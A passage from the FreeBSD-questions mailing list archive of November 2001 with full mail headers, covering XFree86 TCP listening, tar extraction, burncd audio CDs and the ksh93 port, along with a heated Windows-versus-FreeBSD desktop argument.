List-Unsubscribe: X-Loop: FreeBSD.ORG I've just installed the latest XFree86-4 port - 4.1.0_10 - only to find that it no longer listens for tcp connections by default. The manual pages I've checked (X, Xserver, Xsecurity) don't indicate how to enable this, the output of "X --help" doesn't provide any such indication, and I couldn't find anything in the freebsd -questions and -stable archives. So, does someone know what I need to do to get this X port to listen on a tcp port? Thanx, http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:21:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 29A2237B405 for ; Tue, 20 Nov 2001 12:21:26 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166HOV-0002gr-00; Tue, 20 Nov 2001 20:21:23 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166HMl-000L8U-00; Tue, 20 Nov 2001 20:19:35 +0000 Date: Tue, 20 Nov 2001 20:19:35 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120201935.GB80963@rhadamanth> References: <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> <008f01c171fb$a5108da0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <008f01c171fb$a5108da0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 08:43:29PM +0100, Anthony Atkielski wrote: > Ceri writes: > > > We are talking about window managers. Window > > managers don't run applications. > > Yes. That's why an X environment on UNIX that looks and feels like Windows is > still useless--because looking like Windows doesn't mean able to execute Windows > applications. I refute your assumption that a system that doesn't run Windows applications is useless. > > It's perfectly possible to run applications > > such as Netscape without a window manager. > > There is a command-line version of Netscape??? Where? There you go again. Window Managers Do Not Run Applications. All you need is an X server to run Netscape. > > Yes, and you never heard of them, therefore > > your statement (which I include below, since > > you snipped it) make no sense. > > Sure it does. All operating systems look very much the same after you've seen a > few of them. There are only so many overall architectures that make any sense > for an operating system. No, it doesn't. You said that as long as you have some idea with some Unix like system then the concepts map across. Generally, that is indeed true, but you don't seem to have much experience of Unix like systems, let alone FreeBSD. > > I evaluated your competence with FreeBSD. > > Nothing more. > > Yes, that is obvious. Then why suggest that I was calling into doubt your general IT competence ? > > You were stating that a gui environment on FreeBSD > > is no more stable than Windows, when you only have > > three weeks experience with one window manager on > > FreeBSD. > > The stability of a GUI is independent of the OS over which it executes. You have only tried one, yet you condemn them all. > > I thought you were looking for a window manager > > that doesn't crash. > > I was actually looking for an X server that would run on Windows, so that I > could have a graphic environment for my UNIX interaction from Windows that > would be similar to the native Windows environment. If you say so, but I could have sworn you actually said : ``Which alternatives provide both the stability of the native CLI mode (which is, after all, a major selling point for FreeBSD) and the functional and ergonomic equivalent of Microsoft Windows?'' > > If you want useful information, ask a question > > and don't make statements. > > More precisely: Ask a question and take whatever you are told as gospel. You aren't asking questions, you're making ill-informed statements. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:22:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 519DB37B417; Tue, 20 Nov 2001 12:22:34 -0800 (PST) Received: (from jmz@localhost) by freefall.freebsd.org (8.11.4/8.11.4) id fAKKMYo06005; Tue, 20 Nov 2001 12:22:34 -0800 (PST) (envelope-from jmz) Date: Tue, 20 Nov 2001 12:22:34 -0800 (PST) Message-Id: <200111202022.fAKKMYo06005@freefall.freebsd.org> From: Jean-Marc Zucconi To: Mike Meyer Cc: questions@FreeBSD.ORG Subject: Re: Enabling TCP/IP in latest XFree86 port? In-Reply-To: <15354.47704.833972.86216@guru.mired.org> References: <15354.47704.833972.86216@guru.mired.org> X-Mailer: Emacs 21.1.1 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >>>>> Mike Meyer writes: > I've just installed the latest XFree86-4 port - 4.1.0_10 - only to > find that it no longer listens for tcp connections by default. The > manual pages I've checked (X, Xserver, Xsecurity) don't indicate how > to enable this, the output of "X --help" doesn't provide any such > indication, and I couldn't find anything in the freebsd -questions and > -stable archives. > So, does someone know what I need to do to get this X port to listen > on a tcp port? Do you use startx? The change is documented in the startx man page. Jean-Marc -- Jean-Marc Zucconi -- PGP Key: finger jmz@FreeBSD.org [KeyID: 400B38E9] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:26: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grumpy.dyndns.org (user-24-214-92-93.knology.net [24.214.92.93]) by hub.freebsd.org (Postfix) with ESMTP id 64C9A37B439 for ; Tue, 20 Nov 2001 12:25:52 -0800 (PST) Received: (from dkelly@localhost) by grumpy.dyndns.org (8.11.6/8.11.6) id fAKKCeQ53622; Tue, 20 Nov 2001 14:12:40 -0600 (CST) (envelope-from dkelly) Date: Tue, 20 Nov 2001 14:12:40 -0600 From: David Kelly To: David Kirchner Cc: brain_damaged , freebsd-questions@FreeBSD.ORG Subject: Re: untarring a chicken I mean a file Message-ID: <20011120141240.A53581@grumpy.dyndns.org> References: <200111201456.AA1966932132@florida-wireless.com> <20011120115606.P9030-100000@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120115606.P9030-100000@localhost>; from davidk@accretivetg.com on Tue, Nov 20, 2001 at 11:56:25AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 11:56:25AM -0800, David Kirchner wrote: > On Tue, 20 Nov 2001, brain_damaged wrote: > > > how do I untar something to a specific location or can't I . > > Yes i read man tar but did not get it from that. > > It's in there. :-) Check out '-C' Or easier yet, cd to the place you want the stuff before launching tar. Even if you have to spell out a long path to get back to the .tgz file. Your home directory is always ~/ so its pretty easy to get to with % tar -xvzf ~/tarfile.tgz I always have a phobia as to whether or not the tar file was bundled in a single directory or whether or not it was hundreds of little files without a (sub)directory. So even if I expand it in my home directory I'll create a throwaway directory to expand it into something like this: % mkdir junk % cd junk % tar -xvzf ../tarfile.tgz This way everything in junk/ came from the tar archive. Expanding into an otherwise occupied directory can be hard to clean up afterwards if it does something you don't like. Come to think of it the FreeBSD ports collection does similar with a "work/" directory. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:26:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id AF7D437B405 for ; Tue, 20 Nov 2001 12:26:18 -0800 (PST) Subject: Re: Set max folder size To: "Chops" Cc: freebsd-questions@FreeBSD.ORG X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Tue, 20 Nov 2001 20:55:47 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 20.11.2001 21:26:19 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, check the 'quota' manual pages, that should do what you want. - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:29: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id 3FCAA37B419 for ; Tue, 20 Nov 2001 12:28:58 -0800 (PST) Received: from user-1120bnl.dsl.mindspring.com ([66.32.46.245] helo=[192.168.2.69]) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 166HVp-0004E1-00 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 12:28:57 -0800 User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.0.3 Date: Tue, 20 Nov 2001 15:33:28 -0500 Subject: Re: burncd & audio cds From: "Ramon G. Ricca" To: "freebsd-questions@FreeBSD.ORG" Message-ID: In-Reply-To: <20011120151208.A42213@rexroof.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello Rex, I've had the same problem using 4.4 and burncd. I had good results after reducing the write speed from 4x to 1x, though. try: burncd -f yourdevice -s 1 -e audio trac1.cdr track2.cdr fixate (the "-s 1" is optional, I think) Also, isn't cdrecord for SCSI cdr's? As far as I know, burncd is only for ata/ide drives. Regards, Ramon > From: "Rex A. Roof" > Date: Tue, 20 Nov 2001 15:12:08 -0500 > To: freebsd-questions@freebsd.org > Subject: burncd & audio cds > > Any time I try to burn audio cds with burncd I end up with a cd full of > static. > > I've taken the .cdr files that I've used to burn these cds and burned > them w/out problem on a linux box using cdrecord. > > Both of these boxes are 4.4 (I've tried 5-current too, though), > and the command line I've used is as follows: > > burncd -s 20 -e raw *cdr fixate > > I've also tried playing with the speed, and using 'audio' instead of 'raw', > I think they're the same thing, though. > > I've also tried turning on preemphasis, no luck. > > I should note that I can hear the first few milliseconds of track #1 but > after that it's just fuzz. > > any suggestions? > > -Rex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:30:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id B7A4337B416 for ; Tue, 20 Nov 2001 12:29:36 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKKTVI79198; Tue, 20 Nov 2001 21:29:31 +0100 (CET) Message-ID: <00a601c17202$0f9af880$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kenneth Wayne Culver" Cc: References: Subject: Re: home pc use Date: Tue, 20 Nov 2001 21:29:25 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kenneth writes: > Not everyone wants their systems to look like > and feel like windows. Maybe, but you'd never know that from the fervor with which UNIX users (or newbies, at least) rush to install GUI environments on their machines. Maybe I should take a poll: How many FreeBSD users here are satisfied with just the standard command-line interface and interactions through terminal-style remote programs like telnet or ssh? I'll raise my hand, but I daresay that I won't see too many other hands going up. > I for one would never have installed FreeBSD on > my computers 5 or 6 years ago if it had looked > like windows. I installed FreeBSD specifically with the intent of leaving it in its native state. It's a server, not a desktop. If I want to throw away vast amounts of horsepower putting drop shadows and sparkly highlights on screen icons, I'll do it on my Windows desktop system (heck, do I have a choice?). Perhaps a majority of users of UNIX variants today simply weren't around before GUIs existed, and don't realize that you can get a lot of productive work done with just text on a screen. As a matter of fact, if you look at what you do during the day on a Windows system, you may find that a lot of it involves ... text on a screen (including this message!). > Support is not difficult to get, but most FreeBSD > users expect the user who is asking questions on > this list to read the manpages and search the > list archives before emailing the list. I think we are desynchronized a bit. I was talking about production use of the OS. Sorry, but you cannot sell an OS for use in production environments with the advice to "read the man pages" or "e-mail this list" if support is required. Most production environments require hotline support for the products used. If the system goes down with 1500 users connected, you cannot spend several hours reading through man pages or waiting for e-mail to be answered to resolve the problem; you need an engineer on the phone _right now_ who is competent to help you bring the system back up _right now_. If you tell your manager that you're waiting for some friends in cyberspace to give you a few educated guesses as to what's wrong, both you and your manager will be flipping burgers before the week is out. > That is largly personal opinion. No, it is a logical inevitability. What is Windows? It's the environment provided by the Microsoft Windows operating system. So where are you likely to find the most perfect implementation of a Windows environment? Under Microsoft Windows, of course! That's never going to change. > Personally if the desktop system functions and I > can get work done, I don't care if it looks like > and acts like windows, and the less it looks like > windows, the better. The problem is that 99.9% of all applications out there in the world today will not run except on a system that looks and acts exactly like Windows. So you are stuck with the Windows environment whether you want it or not. A lot of people seem to think that Windows is the leader because Microsoft pushes it, but that ceased to be the case a dozen years ago. Today, Windows it the leader because so many _other_ companies write software for Windows. Because of this, even if Microsoft did nothing at all to sell the operating system, people would still go out and buy it. What's $100 for an operating system when having it gives you access to 100,000 applications in every imaginable domain? > What were you disappointed by? The raggedness and instability of the windows environments. KDE2 was all flash and no substance. Pretty icons and graphics, obviously influenced by Redmond, but with none of the stability of a real Windows system. For example, the task bar would get stuck, with only the background painted, or icons would freeze on the screen, or all sorts of other weird anomalies. It just had a junky feel to it. Long ago, I saw a very simple windowed desktop on DEC UNIX systems, if I remember correctly. Can anyone tell me what sort of environment that was? I don't need something fancy, just something that will let me run programs that require an X environment. I don't care if I hear lovely chimes when I double-click on icons, and I don't need to have a menu of 3,245 desktop themes to choose from. > What exactly do you want to know how to do, I > didn't read your original post, but I'll read > your response to this mail, I'm sure I can help > you with most of your problems; as I still > remember the problems I had when I made the > switch (And never went back) I've asked a number of questions, and often I either got no answer at all, or vague or incomplete answers. The problem of a mysterious reboot during the night is one of them: My system rebooted abruptly sometime during the night, on one single occasion, which has not been repeated. There seems to be no evidence of what happened; I asked here if there was any place where I could look for clues, but didn't get much of an answer. The system was running setiathome, and a cron job was executing (I know this from the last screen output by top on a remote terminal before the system went down). Nothing else. The system has been in the same state on many other occasions, but no reboots have occurred. > I thought it was pretty good, it's how I learned > most of what I know about FreeBSD, and that was > about 5 years ago, the docs now are much better now > than they were when I first started. It's good when you know where to look. It's also quite good for freeware; documentation is not cheap or easy to write, and so one should not expect too much when one is getting the system for free. But for a newbie it can be hard to find things, and often significant details or functions seem to be tantalizing absent. I was unable to figure out exactly how to configure pptp and use my system as a gateway from the handbook information, for example. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:30:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.inka.de (quechua.inka.de [212.227.14.2]) by hub.freebsd.org (Postfix) with ESMTP id 7DE3E37B405 for ; Tue, 20 Nov 2001 12:30:38 -0800 (PST) Received: from kemoauc.mips.inka.de (uucp@) by mail.inka.de with local-bsmtp id 166HXR-0006rj-01; Tue, 20 Nov 2001 21:30:37 +0100 Received: (from daemon@localhost) by kemoauc.mips.inka.de (8.11.6/8.11.6) id fAKKEnC99742 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 21:14:49 +0100 (CET) (envelope-from daemon) From: naddy@mips.inka.de (Christian Weisgerber) Subject: Re: /usr/ports/shells/ksh93 Date: Tue, 20 Nov 2001 20:14:49 +0000 (UTC) Message-ID: <9tedjp$31cl$1@kemoauc.mips.inka.de> References: Originator: naddy@mips.inka.de (Christian Weisgerber) To: freebsd-questions@freebsd.org Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG wrote: > After checking /etc/shells and noticing that I > didn't have ksh installed, I tried to install it via > /usr/ports/shells/ksh93 but it errored out at the > end saying I needed to download the port > manually and place it in /usr/ports/distfiles > > Obviously, this port is outdated. A few days ago, AT&T put out a new release, and they immediately removed the old distfiles, thus breaking the port until I get around to committing an update. > Does anyone know which snapshot from www.research.att.com will > work and how I should modify the Makefile so that it installs > properly (especially during the patch phase) ? Maybe the maintainer knows? But hey, why ask the one guy most likely to know when you can instead address hundreds or thousands of people who probably don't? Change VERSION to 2001-10-31, remove patch-src_lib_libast_comp_wc.c and patch-src_lib_libast_features_float. What's stalling me at the moment, is that I'm *again* trying to understand AT&T's license, and frankly I don't. -- Christian "naddy" Weisgerber naddy@mips.inka.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:32:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id E02BD37B419 for ; Tue, 20 Nov 2001 12:32:36 -0800 (PST) Received: (qmail 78098 invoked by uid 100); 20 Nov 2001 20:32:47 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.48623.773666.772857@guru.mired.org> Date: Tue, 20 Nov 2001 14:32:47 -0600 To: Jean-Marc Zucconi Cc: questions@FreeBSD.ORG Subject: Re: Enabling TCP/IP in latest XFree86 port? In-Reply-To: <200111202022.fAKKMYo06005@freefall.freebsd.org> References: <15354.47704.833972.86216@guru.mired.org> <200111202022.fAKKMYo06005@freefall.freebsd.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jean-Marc Zucconi types: > >>>>> Mike Meyer writes: > > > I've just installed the latest XFree86-4 port - 4.1.0_10 - only to > > find that it no longer listens for tcp connections by default. The > > manual pages I've checked (X, Xserver, Xsecurity) don't indicate how > > to enable this, the output of "X --help" doesn't provide any such > > indication, and I couldn't find anything in the freebsd -questions and > > -stable archives. > > So, does someone know what I need to do to get this X port to listen > > on a tcp port? > Do you use startx? The change is documented in the startx man page. Argggh. Yes, I do. Thank you. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:33:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id B9D1837B419 for ; Tue, 20 Nov 2001 12:33:21 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fAKKXBD14862; Tue, 20 Nov 2001 15:33:11 -0500 (EST) (envelope-from mwlucas) Date: Tue, 20 Nov 2001 15:33:11 -0500 From: Michael Lucas To: David Kelly Cc: David Kirchner , brain_damaged , freebsd-questions@FreeBSD.ORG Subject: Re: untarring a chicken I mean a file Message-ID: <20011120153311.A14729@blackhelicopters.org> References: <200111201456.AA1966932132@florida-wireless.com> <20011120115606.P9030-100000@localhost> <20011120141240.A53581@grumpy.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120141240.A53581@grumpy.dyndns.org>; from dkelly@hiwaay.net on Tue, Nov 20, 2001 at 02:12:40PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 02:12:40PM -0600, David Kelly wrote: > I always have a phobia as to whether or not the tar file was bundled in > a single directory or whether or not it was hundreds of little files > without a (sub)directory. So even if I expand it in my home directory > I'll create a throwaway directory to expand it into something like this: > > % mkdir junk > % cd junk > % tar -xvzf ../tarfile.tgz > You can also check with the -t option. tar -tzvf tarfile.tgz will list the contents of a tarball, without extracting it. -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:38:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 7764237B419 for ; Tue, 20 Nov 2001 12:38:21 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKKcJB80411; Tue, 20 Nov 2001 21:38:19 +0100 (CET) Message-ID: <00af01c17203$4a437dd0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Steve Brown" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <013201c171b7$22d78cb0$0a00000a@atkielski.com> <000401c171ed$5594fda0$660f129f@bro5637> Subject: Re: home pc use Date: Tue, 20 Nov 2001 21:38:13 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Steve writes: > ... I found FreeBSD's FTP install, online doc's, > and configuration slightly less "geeky" than Linux's > (wanna see geeky? try a Debian install ;) works great once past > it though). This is just my intuition, but I consider Linux to be at the absolute rock bottom of the UNIX heap--probably the worst possible choice of a UNIX variant for someone who wants UNIX. It is too ragged, too inconsistent, too "hobbyist" to be taken seriously. It has received incredible hype, and that is the only reason it even appears on the radar. In fact, it has received so much hype that people who never heard of UNIX are treating Linux as if it were God's gift to the IT community, not realizing that far better and more stable versions of the same operating system have been available and running in production for three decades. I don't like to run with the crowd just for the sake of running, so when I took an interest in UNIX, I turned to FreeBSD--it's free, and the developers seem to take UNIX a lot more seriously than the Linux kiddies do. I want an OS that can be used for real production, not just for tinkering on the kitchen table, and I've already seen proof that FreeBSD is capable of this ... it has been running my production Web site on the Net for four years, without any problems at all. > I'm not a "Microsoft hater", but I did make the > mistake of buying a new OEM machine with Win98 > pre-installed back when Win98 was unfit for a > desktop or anything else outside a test-lab ... I always blast anything that is preinstalled, and reinstall from scratch. I like to know exactly what's on the machine, and the only way to know that is to install it all yourself. > ... (HP replaced entire system twice thinking > the PC was bad). See my other comments here about prematurely blaming hardware. HP hardware, in particular, is legendary for its reliability (even their OEM parts are often screened to get only the cream of the crop). > Now that they've fixed Win98 it gets the other > half of my drive... All the consumer versions of Windows are garbage, IMO. As soon as NT came out, I installed it, and I've never looked back. NT can run for years without a reboot, just like UNIX. > FreeBSD: multiuser, webserving & networks, > stable, powerful > Windows: friendly to non-geeks, hardware & > software compatability Excellent summary. Windows is what I recommend to non-IT friends and relatives--my parents run it. FreeBSD is what I'd recommend to a computer-savvy party that wants something lean and mean to run a network in the most optimal way--_especially_ if that network is going to have any contact at all with the evil Internet and all the dark dangers it conceals. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:42: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 7BB0137B405 for ; Tue, 20 Nov 2001 12:41:57 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKKfs280940; Tue, 20 Nov 2001 21:41:55 +0100 (CET) Message-ID: <00b401c17203$caba2630$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Ken Bolingbroke" Cc: "FreeBSD Questions" References: Subject: Re: home pc use Date: Tue, 20 Nov 2001 21:41:49 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ken writes: > The problem I see is that you really haven't > tried enough to make such a determination. I don't have to. Statistically, there is no reason to suspect hardware unless and until everything else has been eliminated. If someone hits you in the rear end at an intersection, which makes more sense: (1) tearing down the car in a garage to test the transmission in careful detail, in order to make sure that the car wasn't stuck in Drive; or (2) testing the driver for alcohol in his blood? > ... unlike Windows, where one or more application > crashes will take down the whole system. Sounds like you've never run NT. Applications can crash all day on my NT system, and it never blinks. > Contrast this to my Windows NT work desktop, > where I had to pre-emptively reboot at least > twice weekly so NT doesn't crap out on me in > the middle of whatever work I'm doing ... I've never seen this on an NT system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:45:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 1A15C37B418 for ; Tue, 20 Nov 2001 12:45:15 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKKjCA81470; Tue, 20 Nov 2001 21:45:12 +0100 (CET) Message-ID: <00c101c17204$4070bb50$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <014601c171d2$22ada240$a50410ac@olmct.net> <008a01c171fa$7110be90$0a00000a@atkielski.com> <20011120200746.GA80963@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 21:45:06 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > The X server runs on the workstation. If you are running the X server on your UNIX machine, the server and the workstation are one and the same. No other computer is involved. > The X server runs on the workstation. See above. If all these people running X Servers like KDE are not running them on the UNIX machine itself from the console, where _are_ they running them, exactly? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:46:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from acmey.gatech.edu (acmey.gatech.edu [130.207.165.23]) by hub.freebsd.org (Postfix) with ESMTP id 55FE137B405 for ; Tue, 20 Nov 2001 12:46:52 -0800 (PST) Received: by acmey.gatech.edu (Postfix, from userid 19753) id 7996431F46; Tue, 20 Nov 2001 15:46:51 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by acmey.gatech.edu (Postfix) with ESMTP id 6B446330DF; Tue, 20 Nov 2001 15:46:51 -0500 (EST) Date: Tue, 20 Nov 2001 15:46:51 -0500 (EST) From: Michael Imamura X-Sender: gte255n@acmey.gatech.edu To: David Loszewski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: changing console text size? In-Reply-To: <001801c171ef$02d68460$b5e4b184@sickness> Message-ID: 